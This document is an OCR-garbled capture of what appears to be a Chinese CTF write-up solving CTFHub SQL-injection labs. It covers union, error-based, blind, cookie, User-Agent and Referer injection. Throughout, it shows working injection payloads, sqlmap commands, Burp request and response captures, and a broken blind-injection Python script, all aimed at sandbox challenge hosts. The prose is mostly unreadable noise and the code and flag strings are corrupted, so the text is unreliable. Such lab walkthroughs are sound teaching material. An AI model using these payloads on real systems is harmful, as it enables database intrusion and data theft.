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SQL ZBEELEAN
ID | -1 union select 1,group_concat(flag) from sq\i.flad

select * from news where id=-1 union select 1,group concat(flag) from sgli.flag
ID: 1
Data: ctfhub{bfc60e54ab98aa66¢35ff300} CSDIN @3k HiE Vo
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select * from news where i1d="1"
ID: 1
Data: ctfhub

ATUE B EERINTMAR AL HMANT =N E5] 5, PR aERERXAB5] S HEHATRIERALLT .
BIRZFITEE, XA X —

I -1' union XXX and '1'='1, XXXRRFERKIER GEMEREE EEH N KM

AR — TIXAMER), BALRId=-1RA T 8A & BHE WA LB B N B0EE & RN BERREEE L g R4 .
FRES%, REHand 1'="1"&E— N85 5B LEI)RA T ER LR 5] SER LB IR.

BHRBEIEES: -1' union select databases(),1 and '1'='1, W] PAEFIEIEES Zsqli

[ 1IN
SQL FFFELEAN
ID | -1'union select database(),1 and '1'="1

select * from news where id="-1" union select database(),1 and "1'="1"

ID: sqli
Data: 1
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SQL F#FEY
ID  -1"union select 1,database() and '1'="1

select * from news where id='-1" union select 1,database() and '1'="1"
ID: 1
Data: 0
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-1' union select 1,group_concat(table name) from information_schema.tables where table schema='sqli' and '1'='1

SQL FEFRFESEAN

ID | -1"union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli* and "1'="1

select * from news where id="-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' and
g
ID: 1
Data: news,flag
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-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and

table_name='flag' and '1'='1

SQL FRFEGEAN

ID | ct1,group _concat(column_name) from information_schema.columns where table schema="sqli' and table name='flag' and '1'="1

select * from news where id="-1' union select 1,group concat(column name) from information schema.columns where table schema="sqli' and
table_name="flag' and '1'="1"
ID: 1
Data: flag
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-1' union select flag,1 from flag# and '1'='1

FRELEN
SQL FHTEY
ID | -1"union select flag,1 from flag# and '1'="1

select * from news where id='-1" union select flag,1 from flag# and "1'="1"
ID: ctfhub{5398c1cb535a3ff05a863572}

Data: 1 _ S
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-1' union select 1,flag from flag# and '1'='1
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SQL F#7E;
ID | -1"union select 1,flag from flag# and '1'="1

select * from news where id="-1" union select 1,flag from flag# and '1'="1"
ID: 1

Data: ctfhub{5398c1cb535a3ff05a863572} ) BT
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SQL REEEN
ID & adiad?

select * from news where id=1
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SQL REEIEN

ID 2 and extractvalue(null,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))
EAliEiR: XPATH syntax error: '~ Jt
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SQL REEEN
(=}
ID | 2 and extractvalue(null,concat(0x7e,mid((select group_concat(flag) from flag),12),0x7e))

select * from news where id=2 and extractvalue(null,concat(ex7e,mid((select group_concat(flag) from flag),12),0x7e))
EaFEI=: XPATH syntax error: '~a8500339cab28ac9b2dd}~"
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https://www.cnblogs.com/threesoil/p/12458580.html

sQL fREEEN
=V}
2 and extractvalue(null,concat(Ox7e,(select flag from flag limit 0,1),0x7e))

select * fr

ct flag

ctfhub{b502a8500339ca628ac9b2dd}
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B g ) A PR 3Rt B8 51 A — AL R ARASEF T, e 8 EHEURLOPENBUK B 2 furl

import requests

import time

urlOPEN
starOperatorTime [1]

mark

def database_name():
name
for j in (1, 5):
for i in
url urlOPEN

i, 1)

r = requests.get(url)
if mark in r.text:
name name i

print(name)

break
print( , hame)

database_name()

def table name():
[]
for k in (0, 4):
name
for j in (1, 9):
for i in
url urlOPEN




k, 3, 1)

r requests.get(url)

if mark in r.text:
name name i
break

.append(name)

]

def column_name():
[]
for k in (0, 3):
name
for j in (1, 9):
for i in
url urlOPEN

k, 3, 1)

r = requests.get(url)

if mark in r.text:
name name i
break

.append(name)

>

(48, 126):
url urlOPEN
(

i, 1)
r = requests.get(url)

if mark in r.text:
name = name (1)
print(name)
break
, hame)




TThI 1h311ﬁ~0dd 410_u
ctfhub bbllee0aa24d0521
ctfhub {b51leelaa24d05211
ctfhub {b511lee0aa24d052119
ctfhub {b511ee(aa24d0521198
tfhub {b511ee0aa24d05211986
ctfhub {bbllee0aa24d052119867
ctfhub {b511ee0aa24d0521198675
ctfhub {b511eelaa24d 034119\
ctfhub {b511leelaa24d052
ctfhub {b511ee0aa24d052 ilg\ti

N

d
| !
thhub@bjlle:Oaa“4dO} 119867551
ctfhub {bb1leelaa2 410)_119567551-
ctfhub {b511leelaa24d0521
tfhub {b511eelaa2 410)_¢19
ctfhub {b511ee0aa24d052119
ctfhub{h511550da“4d0_fll
d
l
i
d0.
d
l

Co JWIJ’

ctfhub {b511eelaa24d052119¢
ftfhukivyll~~0aa“4~03_¢l
:tfhuhib}ll~~0a3j4~0331
ctfhub 'f_b 11eeQaa24«
ctfhub {bb1l1leelaa24c O) 11J
ctfhubl3311~~Oaa”4~0)_41?
ctfhubilel~~Daaj4403:llﬁb
ctfhub {b511ee0aa24d05211986
ctfhubih>11~~0du“4103:119\
tfhub {b511ee0aa24d05211986

o

CO GO CO GO OO
t

Chc

e

9

i
-] -
o
O

;170998f54c4

517099815448

170998?54c'3%
170998£54c486.
1 7099815448632
709981544863
7099854486322

{ell{eli{el{el{e

GO GO OO |

Ch Gy OHY O) G

CD
k)
,,_
p—d
) LD WO

C

_/

'r.“r—-Jr—-JL-—-J(-‘-Jr“Jr—-J

JI/J
(o

L LI QO
2 B
> o

- =]

OO O OrOnonOn O On \)i,.JI
-t

O n qlulululul .J!
|._J .
o B

(4]

o

flagBlREHI R T o

XIRRWEEAIRE T, R AEFEIFA 5 sleep i B 6] SR AR HRrhi

BIEAA T —SF TEARTTE, BERMNTUREEFEALART: sqmap

github 7] BA T #sqlmap

TR JE XS HFATIFemd, HA:

python sqlmat.py -u http://challenge-elcdb74d6a351b8b.sandbox.ctfhub.com:10800/?id=1 --
BRI A

A AR IEFEYINE) W, AR B B 2 R E A\ YERAT)

[ 1 [WARNING] it is very important to not stress the network connection
event potential disruptions

[ ] retrieved:
[ ] adjusting time delay to 1 second due to sood response times
information schema

[ ] retrieved: mysql

[ [ ] retrieved: performance_ schema
[ [ 1 retrieved: =qli

available databases [4]:

[*+] information schema

[*] mysql

[*+] performance schema

]
]
u
]
]
1
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python sglmap.py -u http://challenge-elcdb74d6a351b8b.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
fEsqlifE TR A

.tiHE delay to 1 s

] retrieved: news

Haf t Rk AD

EEWMA

python sqlmap.py -u http://challenge-elcdb74d6a351b8b.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
-dump

fEsqlifE flagR TR H F B4 M

1 adjustins

1 retrieved:
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Burp Intruder Repeater Window Help

Cookie;E N

. =il Cookiel®

[Target T Proxy I Spider I Scanner I Intruder IRepeater T Sequencer T Decoder I Comparer ]’ Extender T Project options I User options TAIerts ]

Go Cancel < |v > |v

Request

Raw | Params | Headers | Hex

Target: http://challenge-196392c6blacebd8.sandbox.ctfhub.com:10800 | | | 7

Response

Raw | Headers | Hex HTMLIRender]

GET/HTTR/1.1

Host: challenge-196392c6b0acebds. sandbox. ctfhub. com: 10800

Cache-Caontral: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64) AppleWebKit/537.36 (KHTNL,
like Gecko) Chrome/94.0.4606.71 Safari/537 36

Accept

text/html application/xhtml+xml,application/xml; q=0.9 image/avif image/webp image/apng
7 q=0.8 application/signed-exchangev=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept- = - =0.8.en;q=0.7
Cookie] id=12 union select database() 24,

hint=id%EG %BE %93 %E5 %65 %A51 % ES%AF %95 %ES%AF %I5%EF %BCY%IF
Connection: close

RT FER N EER L Epythonfii 4.

I

e
v

0 matches

HTTRM .1 200 CK

Server: openresty/1.19.3.2

Date: Thu, 07 Oct 2021 14:20:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 696
Connection: close
X-Powered-By: PHP/7.3.14
Wary: Accept-Encoding
Access-Control-Allow-Crigin
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

*

<IDOCTYPE
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub $fiE%: 5 | Cookieik A</title>
<link rel="stylesheet" href="static/bootstrap. min.css">
<script sre="static/jquery. min.js"></script>
<script sre="static/popper.min.js"></script>
<script sre="static/bootstrap.min js"=</script>
</head>
<hody>
<div class="container"=

<div class="jumbotron text-center">

<h1>CookiefEM</h1>

<pEER AN AL T . P Cookieltl</p>

<code>select * from news where id=12 union select database(),2#,
hint=id4ii A 18?2 </code></bf> /br=-Data: 2 </div>

<fidiv=

</body>
</html>
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payload

r requests.get(url, headers=header)

return r.text

print (mySQL(

print(mySQL(

print(mySQL(

print(mySQL(
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SHIE R

ATEEBRN— R LSJBERBERTANHEEERSE, hin-1, BIATBERNEES RRIEFERE !
UAEA
EIRHEN BB BLE T User Agent®, 2R FBEEL, ITHAMERMEGS, Ak, FEdXREMNBEEFIHNEABRGT T

UAEA

i\ =EUser-Agent, JdidIe

from news where id=Mozilla/5.@ (Windows NT 18.8; Wined; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.8.4606.81

saftari/537.36




Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder IRepeater T Sequencer T Decoder I Comparer I Extender T Project options I User options TAIerts ]

1= | ..
Go Cancel < |v > v

Request

Raw | Headers | Hex

Target: httpichallenge-21e21adf706d57fd.sandbox.ctfhub.com:10800 @ EJ

Response

Raw | Headers | Hex HTMLIRender]

GET/HTTR/11 A

Host: challenge-21e21adff0Bd57fd. sandbox. ctfhub. com: 10500 i

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebKit/537.36 (KHTNL,

like Gecko) Chrome/94 0.4606.81 Safari/537 36

Accept

text/html application/xhtml+xml,application/xml; q=0.9 image/avif image/webp image/apng

7 q=0.8 applicationfsigned-exchangev=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

Connection: close
=
v

? EJ + = h term 0 matches

HTTRAM .1 200 Gk

Server: openresty/1.19.3.2

Date: Tue, 12 Oct 2021 16:06:05 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 713

Connection: close

X-Powered-By: PHP/7.3.14

Wary: Accept-Encoding
Access-Control-Allow-Crigin: ™
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

<IDOCTYPE hti
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub fEfiES5 2 | UAFE N </title
<link rel="stylesheet" href="static/bootstrap. min.css">
<script sre="static/jquery. min.js"></script>
<script sre="static/popper. min.js"=</script>
<script sre="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1=UAFA</hl>
<p>4ii M fEUser-Agent, i iRIR</p>
<code>select * from news where id=Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit'537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/337.36</cade=</br=
</div>
</body=>
<fhtml=

T

<fdiv=
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Burp Intruder Repeater Window Help

Target | Proxy ] Spider IScannst ] Intruder M Sequencer ] Decoder I Comparer TExtender IProjoct options I User options ]Alens 1

Go Cancel <|v > |

Request

@ Headers | Hex

Target: http:/ichallenge-21e21adf706d57fd.sandbox.ctfhub.com:10800 | #| [ 2 |

Response

| Raw | Headers [ Hex | HTML | Render |

GET /HTTP/11
Host: challenge-21621adf706d57fd. sandbox. ctfhub.com: 10800
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1
User-Agent: -1 union select 1,group_concat(schema_name)from
TTormation_schema, schemata

Accept:

text/html application/xhtml+xml,application/xml;g=0.9 image/avif image/webp image/apng
**q=0.8 application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

Connection: close

< + > Type a search term

1=}
-] '\l|
@

Burp Intruder Repeater Window Help

e

¥

0 matches

HTTP/.1 200 OK

Server: openresty/1.19.3.2

Date: Tue, 12 Oct 2021 16:08:05 GMT
Content-Type: text/ntml; charset=UTF-8
Content-Length: 738

Connection: close

X-Powered-By: PHP/7.3.14

Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

<IDOCTYPE htmi>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub $£§iE4: 5] | UAEEN <Aitle>
<link rel="stylesheet" href="static/bootstrap.min.css">
<script src="static/jquery.min.js"></script>
<script sre="static/popper.min.js"></script>
<script src="static/bootstrap.min js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1>UAFEA</h1>
<p>ffi A fifEUser-Agent, il </p>
<code>select * from news where id=-1 union select 1,group_concat(schema_name)from
ta</code></br=1D: 1</br>Data:
nformation_schema,mysql,performance_schema,sqli
</div>
</body>
</html>

<fdiv>

? < + > Type a search term

e

-t

0 matches

CSDN @ik S8l el 1 ivihs

[Talget I Proxy ] Spider IScmnsl ] Intruder M Sequencer ] Decoder T Comparer TExtandel [ijacl options I User options IAlsrls 1

Go Cancel < |v >|r

Request

@ Headers | Hex

Target: htp:/ichallenge-2121adf706d57fd.sandbox.ctfhub.com:10800 EJ @

Response

| Raw | Headers [ Hex | HTML | Render |

GET /HTTPM1 1

Host: challenge-21e21adf7f06d57fd. sandbox. ctfhub. com: 10800

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

tser—Agent;-ﬂuniun select 1,group_concat(table_name) from information_schema.tables
here table_schema='sqli’

Accept:

text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng
*.q=0.8 application/signed-exchange;w=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

Connection: close

e

HTTP/1.1 200 OK

Server: openresty/1.19.3.2

Date: Tue, 12 Oct 2021 16:09:35 GMT
Content-Type: text/ntml; charset=UTF-8
Content-Length: 729
Connection: close
X-Powered-By: PHP/7.3.14
Vary: Accept-Encoding
Access-Control-Allow-Origin
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

<IDOCTYPE htmi>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub HfiE4% > | UATE A <fitle>
<link rel="stylesheet" href="static/bootstrap.min.css">
<script src="static/jquery.min.js"></script>
<script src="static/popper.min.js"></script>
<script sre="static/bootstrap.min js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center”>
<h1>UAEMN</h1>
<p>fii N\ fifcUser-Agent, XilIB</p>

e




<code>select ™ trom news where id=-1 union select 1,group_concat{table_name) trom
information_schema.tables where table_schema="sqli*</code></br>ID: 1</br}Data: ibsecyeque,news

<fdiv>
</div>
</body>
</html>
v v
? search term ? ype a s h
? ype a search fel 0 matches ? < + > Type a search term 0 matches
Done CSDN @k St b 1einiis

AERERBEHEZERNEEER T —% /N Gl, R—EBIHENTZESE, HAERERERN®4S: union select
1,group_concat([FB]) from [¥IEE].[HER] FEHTFZES, HEREBHRANFZERLZEHBASEEHE, UG S8,

Burp Intruder Repeater Window Help

Target | Proxy ] Spider IS:annet ] Intruder M Sequencer ] Decoder T Comparer TExtander IPrnjoct options I User options IAIens 1
s

Cancel <|v > | Target: http://challenge-21e21adf706d57fd.sandbox.ctfhub.com:10800 uj llJ
Request Response
' E I Headers | Hex M Headers | Hex | HTML IRendsr 1
GET /HTTP/1.1 i HTTP/1.1 200 OK i
Host: challenge-21e21adff06d57fd. sandbox. ctfhub.com: 10800 1 Server. openresty/1.19.3.2 -
Cache-Control: max-age=0 Date: Tue, 12 Oct 2021 16:32:06 GMT
Upgrade-Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8
User-Agent:-1 union select 1.gmup_cuncat(nmsldehgfd' from sqli.srdnlrlphg Content-Length: 662
Accept: Connection: close
text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng X-Powered-By: PHP/7.3.14
. q=0.8 application/signed-exchange;w=b3;q=0.9 Vary: Accept-Encoding
Accept-Encoding: gzip, deflate Access-Control-Allow-Origin: *
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8,en;q=0.7 Access-Control-Allow-Headers: X-Requested-With
Connection: close Access-Control-Allow-Methods: *

<IDOCTYPE htmi>
<html lang="en">
<head>
1 <meta charset="UTF-8">
<title>CTFHub 44 5] | UATE A <ftitle>
<link rel="stylesheet" href="static/bootstrap.min.css">
<script src="static/jquery.min.js"></script>
<script sre="static/popper.min.js"></script>
<script src="static/bootstrap.min js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1>UAZEA</h1>
<p>fi N A fEUser-Agent, iXiIB</p>
<code>select * from news where id=-1 union select 1,group_concat(nmsldehgfd) from
sqli.srdnlrlphq</code></br> </div>

</div>
</body>
</html>
. .
i} | |
? < + > Type a search term 0 matches ? < + > nmsldehgfd 1 match
Done C5DN @ik S84kl Minis
pam N y o N N
HR R B Zselect FHRIKIFAME, £RJLIK, BATCHEHERER. . (RATHILKR, £ 3MRHEER T lag)
Burp Intruder Repeater Window Help
Target F‘ruxy Sptder Scannsr ] Intruder M Sequencer ] Decoder I Comparer TExtander [Prupct options I User options ]Alans 1
Go cancel | [ < |v |[ >|» Target: http://challenge-21e21adf706d57fd.sandbox.ctfhub.com:10800 EJ [EJ
Request Response
‘ E I Headers | Hex M Headers | Hex | HTML IRender 1
GET/HTTP/1.1 A HTTP/.1 200 OK :
Host: challenge-21e21adf7f06d57fd. sandbox. ctfhub.com: 10800 3 Server: openresty/1.19.3.2
Cache-Control: max-age=0 Date: Tue, 12 Oct 2021 16:25:34 GMT
Upgrade-Insecure-Requesfs—t Content-Type: text/html; charset=UTF-8
UserAgenttJ union select * 3 from sqli.ibsecyeque Content-Length: 687
Accept: Connection: close
text/html, apphcatmn.thmlﬂml application/xml, q=0.9 image/avif image/webp image/apng X-Powered-By: PHP/7.3.14
*,q=0.8 application/signed-exchange;v=b3;q=0.9 Vary: Accept-Encoding
Accept-Encoding: gzip, deflate Access-Control-Allow-Origin: *

Accept-Language: zh-CN,zh;q=09 en-US;q=08 en;q=0.7 Access-Control-Allow-Headers: X-Requested-With



Connection: close

«¥

0 matches

< + > Type a search term

?
Done

HEZ FRARBITHT, FRPIEERE, RRIREREFREAGHHE. . .

Burp Intruder Repeater Window Help

Access-Lontrol-Allow-Methods: ~

<IDOCTYPE htmi>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub $5fiE%: 2 | VARE A <Aitle>
<link rel="stylesheet" href="static/bootstrap.min.css">
<script src="static/jquery.min.js"></script>
<script src="static/popper.min js"></script>
<script src="static/bootstrap. min js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1>UAiEA</T>
<p>fia n fifiUser-Agent, iXilIB</p>

< > id=- ion select *,3 from sqli.ibsecyeque</code></br>ID:
ctfhub{63hea58efe2fd6867aB45c98}</br>Data: 3 <[div>
</dw>

</body>
</html>

=
v

0 matches

T EJ EJ lZJ nmsldehgfd

C5DN @3k S DEe@ ) AGiiEs

(R

[Target I Proxy ] Spider ISunnnt ] Intruder u Sequencer ] Decoder T Comparer TEmandel IProjnct options I User options IAlnrls 1

Go Cancel < |v >

Request
@ Headers | Hex
GET /HTTPAM 1 3

Host: challenge-21e21adff06d57fd. sandbox. ctfhub.com: 10800

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent:-1 union select 1,group_concat(nmsldehgfd) from sqli.ibsecyeque

Accept:

text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng
1 q=0.8 application/signed-exchange;w=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 &n-US;q=0.8,en;q=0.7

Connection: close

[«

0 matches

) < + > | | Type a search term

Done

ABAR

referi A\

Target: htpiichallenge-21e21adf706d57td.sandbox.ctfhub.com:10800 | #| 2 |

Response
[ Raw | Headers | Hex | HTML | Render |
HTTP/.1 200 OK A
Server: openresty/1.19.3.2 k
Date: Tue, 12 Oct 2021 16:35:53 GMT
Content-Type: text/ntml; charset=UTF-8
Content-Length: 710
Connection: close
X-Powered-By: PHP/7.3.14
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
<IDOCTYPE htmi>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub 4fi£%: 3] | UARE A <Aitle>
<link rel="stylesheet" href="static/bootstrap.min.css">
<script src="static/jquery.min.js"></script>
<script src="static/popper.min js"></script>
<script src="static/bootstrap.min js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1>UAFEMN</MT>
<p>fia n fifcUser-Agent, iXilIB</p>
<code>select * from news where id=-1 union select 1,group_concat(nmsldehgfd) from
sqli.ibsecyeque</code></br=ID: 1</br>Data: ctfhub{63bea58efe2fd6867a845c98) <fdiv>
</div>
</body>
</html>
=
| |
1 match

.T EJ EJ lZJ nmsldehgfd

CSDN @ik 34 pkeR) 1t iuhs



X F httpi referz #

HTTP Referer&headerf]—#B45, 243 K8 mlweblR 55 8% K& & R %, —Mk<i EReferer, & VF AR5 453R 2 MRS 7L 55
BRI, MREB[IEMTLRG - REEHTAE. WA RER FEES—NMAATE, MRS ERAEE NHTTP Referers
Gt RAE 2P AR T AR U 1R £ R R

R, ARG R header I i Hrefererix NS4, TREZWUECH, THRAMR:
(FE: ABERKEAPayload# i AS% L —E/8, HLEARER T AMEANKMT, EARTREBE—HK)

Burp Intruder Repeater Window Help

[Target W’ Proxy I Spider I Scanner I Intruder IRepea#er T Sequencer W’ Decoder I Comparer ]' Extender W’ Project options I User options W’Alerts ]

(o

Cancel | [ < |v | [ > v Target: hitp:/Ichallenge-db9a67416dd93534.sandbox. ctfhub.com: 10800 @EJ

Request Response

Raw | Headers | Hex Raw | Headers | Hex HTMLIRender]

GET/HTTR/1.1 A HTTR/ .1 200 Ok A
Host: challenge-db9a67416dd93534. sandbox. ctfhub. com: 106800 1 Server: openresty/1.19.3.2 1
Date: Sun, 17 Oct 2021 16:09:47 GMT
Cache-Cantral: max-age=0 Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: 1 Content-Length: 6168
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64) AppleWebKit/537.36 (KHTNL, Connection: close
like Gecko) Chrome/94.0.4606.81 Safari/537 36 X-Powered-By: PHP/7.3.14
Accept Wary: Accept-Encoding
text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng Access-Control-Allow-Origin: *
7 q=0.8 application/signed-exchangev=h3;q=0.9 Access-Control-Allow-Headers: X-Requested-With
Accept-Encoding: gzip, deflate Access-Control-Allow-Methods: ™
Accept-Language: zh-CN zh;q=0.9 en-US;q=0.8 en;q=0.7
Connection: close
<IDOCTYPE |
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub f4fi5: 3 | Referik A <fitle>
<link rel="stylesheet" href="static/bootstrap. min. css">
<script sre="staticquery. min s"></script>
<script sre="static/popper.min.js"></script>
<script sre="static/bootstrap.min.js"></script>
</head>
<hody>
<div class="container">
<div class="jumbotron text-center">
<h1>Referi: A</h1>
<p>ififireferertii AlD</p>
<code>select * from news where id=1D=1</code></br=1D: 1</br=Data: ctfhub <fdiv>
</div>
</body=>
<fhtml=
= =
v A
? 7 h term 0 matches l_J l_J LJ > h term 0 matches
Done CSDN @38 SEH ‘Ja;b_\;fsfﬂhgfws
BETRMMZATRLT, XRBGAHRL:
Burp Intruder Repeater Window Help
[Target T Proxy I Spider I Scanner I Intruder IRepeatef T Sequencer T Decoder I Comparer ]’ Extender T Project options I User options TAIerts ]
T
[_J Cancel [LJ > |v Target: http://challenge-db9a67416dd93534.sandbox.ctfhub.com: 10800 @J [lJ
Request Response
Raw | Headers | Hex Raw [ Headers | Hex | HTML I Render ]
GET/HTTR/1.1 : HTTRAM 1 200 Ok :
Host: challenge-dh9a67416dd93534. sandbox. ctfhub. com: 10800 Server: openresty/1.19.3.2
|Referer |D=-1 |Jni0n select 1, group_concat(schema_name)from Date: Sun, 17 Oct 2021 16:12:13 GMT
information_schema. schemata Content-Type: text/html; charset=UTF-8
Cache-Cantral: max-age=0 Content-Length: 734
Upgrade-Insecure-Requests: 1 Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, H-Powered-By: PHP7.3.14
like Gecko) Chrome/94.0.4606.81 Safari/537 36 Wary: Accept-Encoding
Accept Access-Control-Allow-Criging
text/html applicationfxhtml+xml, application/xml; q=0.9 image/avifimage/webp imagefapng Access-ControlAllow-Headers: X-Requested-With
fq=0.8 applicationfsigned-exchangev=h3;q=0.9 Access-Control-Allow-Methods: *
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN zh;q=0.9 en-US;q=0.8 &n;q=0.7
Connection: close <IDOCTYPE html>
<html lana="gn">




<head>
<meta charset="UTF-8">
<title=CTFHub $%fig5* 3 | Referii A <fitle>
<link rel="stylesheet" href="static/bootstrap. min.css">
<script sre="static/jquery. min.js"></script>
<script sre="static/popper.min.js"></script>
<script sre="static/bootstrap.min js"=</script>
</head>
<hody>
<div class="container"=
<div class="jumbotron text-center">
<hl=Referii A </hl>
<p=itifirefererfii AID</p>
<code>select * from news where id=1D=-1 union select 1,group_concat{schema_name)from
information_schema.schemata</code></br=ID: 1</br=Data:

e
A

0 matches

@ Searc

Burp Intruder Repeater Window Help

information_schema,mysql,performance_schema,sqli <[div=
<[div>
</body=>
<fhtml=
=
v
l?Jl<Jl+H>J e 0 matches

CSDN :d_b‘sj ly A4 vhllis

[Target }' Proxy I Spider I Scanner I Intruder ]'Repeater T Sequencer }' Decoder I Comparer

]' Extender }' Project options I User options YAIerts ]

> |

1= | ..
Go Cancel < |v

Request

Raw | Headers | Hex

Target: http:/fchallenge-db9a67416dd93534.sandbox.ctihub.com: 10800 @ EJ

Response

Raw | Headers | Hex HTMLIRender]

GET/HTTR/11 A
Host: challenge-db9a67416dd93534. sandbox. ctfhub. com: 10800 i
Referer.|D=-1 union select 1,group_concat({table_name) from information_schema tahles
where table_schema="sqli"
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebKit/537.36 (KHTNL,
like Gecko) Chrome/94 0.4606.81 Safari/537 36
Accept
text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng
1 q=0.8 applicationfsigned-exchangev=h3;q=0.9
Accept-Encading: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7
Connection: close
=
v
uJ u l;J Type a search 0 matches

=]
] -u|
2

Burp Intruder Repeater Window Help

HTTRA 1 200 Gk

Server: openresty/1.19.3.2

Date: Sun, 17 Oct 2021 16:12:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 725
Connection: close
K-Powered-By: PHP/7.3.14
Wary: Accept-Encoding
Access-Control-Allow-Crigin
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods:

L

*

<html lang="en"=
<head>
<meta charset="UTF.
<title>CTFHub i3 3 | Referid A <ftitle>
<link rel="stylesheet" href="static/bootstrap. min. css">
<script sre="static/jquery. min.js"></script>
<script sre="static/popper.min.js"></script>
<script sre="static/bootstrap.min.js"></script>
</head>
<hody>
<div class="container">
<div class="jumbotron text-center"
<h1=Referi A </hl=
<p=itifErefererfii AlD</p>
<code>select * from news where id=1D=-1 union select 1,group_concat{table_name) from
information_schema.tables where table_schema="sqli"</code></br=ID: 1</lr=Data: bamtbljvfh,news
<[div=
</div>
</body>
</html>

e
A

search ferm 0 matches

DEEE

ek | A chilis

[Target T Proxy I Spider I Scanner I Intruder IRepeater T Sequencer T Decoder I Comparer

]' Extender T Project options I User options T.ﬁ\.lerts ]

1= |
Go > |

Cancel <|v

Request

Raw | Headers | Hex

Target: http://challenge-db9a67416dd93534.sandbox.ctfhub.com:10800 | | | 7

Response

Raw | Headers | Hex HTMLIRender]

GET / HTTF/1.1
Host: challenge-db9a67416dd93534. sandbox. ctfhub. com: 10800
Deafrrar M= 1 jmian salast 1 araim sanss Hlmnlimam nama A N Frame

P R |

HTTR/1 .1 200 OK
Server. openresty/1.19.3.2

Flateas e AT Clat 094 421227 AT



FUBIS IS ILT W SEIELL | YU UHLaL LU e S
information_schema. columns where table_schema='sgli' and table_name=bamtbljfh’
Cache-Contral: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xB64) AppleWebKit/537.36 (KHTNL,
like Gecka) Chrome/94.0.4606.81 Safari/537 36

Accept

text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng
e q=0.8 application/signed-exchange)w=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

Connection: close

e
X

Type a search 0 matches

Burp Intruder Repeater Window Help

Lrals, DU, 1 ULl SUe | TUL TdE A2
Content-Type: text/html; charset=UTF-8
Content-Length: 750
Connection: close
X-Powered-By: PHP/7.3.14
Wary: Accept-Encoding
Access-Control-Allow-Crigin
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

-

<IDOCTYP.
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub $4fig%5 3 | Referil A</title>
<link rel="stylesheet" href="static/bootstrap. min.css">
<script sre="static/jquery. min.js"></script>
<script sre="static/popper.min.js"></script>
<script sre="static/bootstrap.min Js"=></script>
</head>
<hody>
<div class="container"=

<div class="jumbotron text-center"s
<h1>Referi: A</h1>
